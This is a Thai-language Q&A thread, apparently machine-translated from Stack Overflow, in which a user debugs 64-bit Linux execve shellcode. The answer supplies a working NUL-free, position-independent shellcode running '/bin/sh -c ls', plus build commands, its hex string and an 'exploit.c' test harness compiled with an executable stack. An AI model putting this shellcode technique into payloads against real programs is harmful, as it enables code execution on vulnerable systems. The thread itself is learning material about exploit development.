Shellcode: คำสั่งที่ผิดกฎหมาย

Oct 19 2020

ฉันเป็นคนใหม่ในการพัฒนาเชลล์โค้ดและฉันไม่เข้าใจว่าทำไมเชลล์โค้ดที่สร้างขึ้นจึงไม่ทำงานตามที่คาดไว้

รหัสแอสเซมเบลอร์:

จากคำตอบสำหรับคำถามก่อนหน้าของฉัน

.section .data
cmd:    .string "/bin/sh"               /* command string */
hand:   .string "-c"                    /* command arguments string */
args:   .string "ls -al"                /* arguments string */
argv:   .quad cmd                       /* array of command, command arguments and arguments */
        .quad hand
        .quad args
        .quad 0

.section .text
.globl _start
_start:
        movq    $59, %rax /* call execve system call */ leaq cmd(%rip), %rdi /* save command to rdi */ leaq argv(%rip), %rsi /* save args to rsi */ movq $0,             %rdx    /* save NULL to rdx */

        syscall                         /* make system call */

รหัสทดสอบ C:

#include<stdio.h>
#include<string.h>

unsigned char shellcode[] = "\x48\xc7\xc0\x3b\x00\x00\x00\x48\x8d\x3d\xf2\x0f\x00\x00\x48\x8d\x35\xfd\x0f\x00\x00\x48\xc7\xc2\x00\x00\x00\x00\x0f\x05";

int main()
{
    int (*ret)() = (int(*)())shellcode;
    ret();
}

เอาท์พุต:

Illegal instruction

รายละเอียด: Kali Linux GNU / Linux i386 x86_64

คำตอบ

2 MichaelPetch Oct 19 2020 at 01:02

ปัญหาเกี่ยวกับโค้ดของคุณคือสตริงเชลล์ที่คุณสร้างขึ้นไม่มีข้อมูลใด ๆ และข้อมูลมีตัวชี้ค่าสัมบูรณ์ดังนั้นตำแหน่งจะไม่เป็นอิสระดังนั้นจะไม่ได้ผลหากคุณย้ายไป.textและรวมไว้ เมื่อรันภายในโปรแกรมอื่นตามที่คุณทำในรหัสCโปรแกรมจะพยายามค้นหาข้อมูลที่ไม่มีอยู่และในตำแหน่งหน่วยความจำคงที่ซึ่งไม่ได้ใช้กับโปรแกรมที่ใช้ประโยชน์ได้ที่คุณกำลังเรียกใช้อยู่ภายใน

ฉันคิดว่าคุณอาจมีปัญหาอื่นที่ก่อให้เกิดการเรียนการสอนที่ผิดกฎหมาย คุณไม่ได้แสดงให้เห็นว่าคุณสร้างโปรแกรมCของคุณอย่างไร แต่ฉันสงสัยว่ามันเป็น 32 บิตและเชลล์โค้ดของคุณเป็น 64 บิตหรือไม่ ฉันเริ่มคิดว่าโปรแกรมCของคุณอาจถูกคอมไพล์เป็นโปรแกรม 32 บิตและคำสั่งที่ผิดกฎหมายอาจเป็นเพราะคุณไม่สามารถรันโค้ด 64 บิต (เชลล์โค้ด) ในโปรแกรม 32 บิตได้อย่างน่าเชื่อถือ ตัวอย่างเช่นSYSCALLคำสั่งคือ opcode ที่ไม่ถูกต้องในโปรแกรม 32 บิตบน CPU ที่ไม่ใช่ AMD นี่เป็นเพียงการคาดเดาในกรณีที่ไม่มีรายละเอียดเพิ่มเติมเกี่ยวกับวิธีที่คุณรวบรวม / ประกอบ / เชื่อมโยงรหัสเชลล์และโปรแกรมCของคุณ


คุณจะต้องสร้างรหัสอิสระตำแหน่ง (PIC) เพื่อให้สามารถทำงานได้ทุกที่เมื่อโหลดบนสแต็ก ข้อมูลของคุณจะต้องวางไว้ในกลุ่มด้วยรหัส โค้ดยังต้องหลีกเลี่ยงการสร้างอักขระ NUL (0x00) เนื่องจากจะยุติสตริงก่อนกำหนดหากระบุไว้เป็นอินพุตของผู้ใช้ไปยังโปรแกรมที่ใช้ประโยชน์ได้จริง

เวอร์ชันของรหัสของคุณที่สามารถใช้เพื่อวัตถุประสงค์ดังกล่าวอาจมีลักษณะดังนี้:

shellcode.s :

# This shell code is designed to avoid any NUL(0x00) byte characters being generated
# and is coded to be position independent.

.section .text
.globl _start
_start:
    jmp overdata                 # Mix code and DATA in same segment

# Generate all the strings without a NUL(0) byte. We will replace the 0xff
# with 0x00 in the code
name:.ascii "/bin/sh"            # Program to run
name_nul: .byte 0xff             # This 0xff will be replaced by 0x00 in the code
arg1:.ascii "-c"                 # Program argument
arg1_nul: .byte 0xff             # This 0xff will be replaced by 0x00 in the code
arg2:.ascii "ls"                 # Program Argument
arg2_nul: .byte 0xff             # This 0xff will be replaced by 0x00 in the code

overdata:
    xor  %eax, %eax              # RAX = 0

    # All references to the data before our code will use a negative offset from RIP
    # and use a 4 byte displacement. This avoids producing unwanted NUL(0) characters
    # in the code. We use RIP relative addressing so the code will be position
    # independent once loaded in memory.

    # Zero terminate each of the strings
    mov  %al, arg2_nul(%rip)     
    mov  %al, arg1_nul(%rip) 
    mov  %al, name_nul(%rip)

    lea  name(%rip), %rdi        # RDI = pointer to program name string

    push %rax                    # NULL terminate the program argument array
    leaq arg2(%rip), %rsi
    push %rsi                    # Push address of the 3rd program argument on stack
    lea  arg1(%rip), %rsi
    push %rsi                    # Push address of the 2nd program argument on stack
    push %rdi                    # Push address of the program name on stack as 1st arg
    mov  %rsp, %rsi              # RSI = Pointer to the program argument array

    mov  %rax, %rdx              # RDX = 0 = NULL envp parameter

    mov $59, %al                 # RAX = execve system call number

    syscall

คุณสามารถสร้างสตริงสไตล์ C ด้วย:

as --64 shellcode.s -o shellcode.o
ld shellcode.o -o shellcode
objcopy -j.text -O binary shellcode shellcode.bin
hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode.bin

hexdumpคำสั่งดังกล่าวเอาท์พุทจะ:

\ xeb \ x0e \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ xff \ x2d \ x63 \ xff \ x6c \ x73 \ xff \ x31 \ xc0 \ x88 \ x05 \ xf7 \ xff \ xff \ xff \ x88 \ x05 \ xee \ xff \ xff \ xff \ x88 \ x05 \ xe5 \ xff \ xff \ xff \ x48 \ x8d \ x3d \ xd7 \ xff \ xff \ xff \ x50 \ x48 \ x8d \ x35 \ xda \ xff \ xff \ xff \ x56 \ x48 \ x8d \ x35 \ xcf \ xff \ xff \ xff \ x56 \ x57 \ x48 \ x89 \ xe6 \ x48 \ x89 \ xc2 \ xb0 \ x3b \ x0f \ x05

คุณจะสังเกตเห็นว่าไม่มี\x00อักขระใดที่แตกต่างจากรหัสของคุณ คุณสามารถใช้สตริงนี้โดยตรงในโปรแกรมCเช่น:

Exploit.c :

int main(void)
{
    char shellcode[]="\xeb\x0e\x2f\x62\x69\x6e\x2f\x73\x68\xff\x2d\x63\xff\x6c\x73\xff\x31\xc0\x88\x05\xf7\xff\xff\xff\x88\x05\xee\xff\xff\xff\x88\x05\xe5\xff\xff\xff\x48\x8d\x3d\xd7\xff\xff\xff\x50\x48\x8d\x35\xda\xff\xff\xff\x56\x48\x8d\x35\xcf\xff\xff\xff\x56\x57\x48\x89\xe6\x48\x89\xc2\xb0\x3b\x0f\x05";

    int (*ret)() = (int(*)())shellcode;
    ret();

    return 0;
}

สิ่งนี้จะต้องถูกคอมไพล์และเชื่อมโยงกับสแต็กที่เรียกใช้งานได้:

gcc -zexecstack exploit.c -o exploit

strace ./exploitจะสร้างการEXECVEเรียกระบบคล้ายกับ:

execve ("/ bin / sh", ["/ bin / sh", "-c", "ls"], NULL) = 0


หมายเหตุ : ฉันจะสร้างสตริงเป็นการส่วนตัวโดยใช้โปรแกรมบนสแต็กคล้ายกับโค้ดในคำตอบ Stackoverflowอื่นที่ฉันเขียน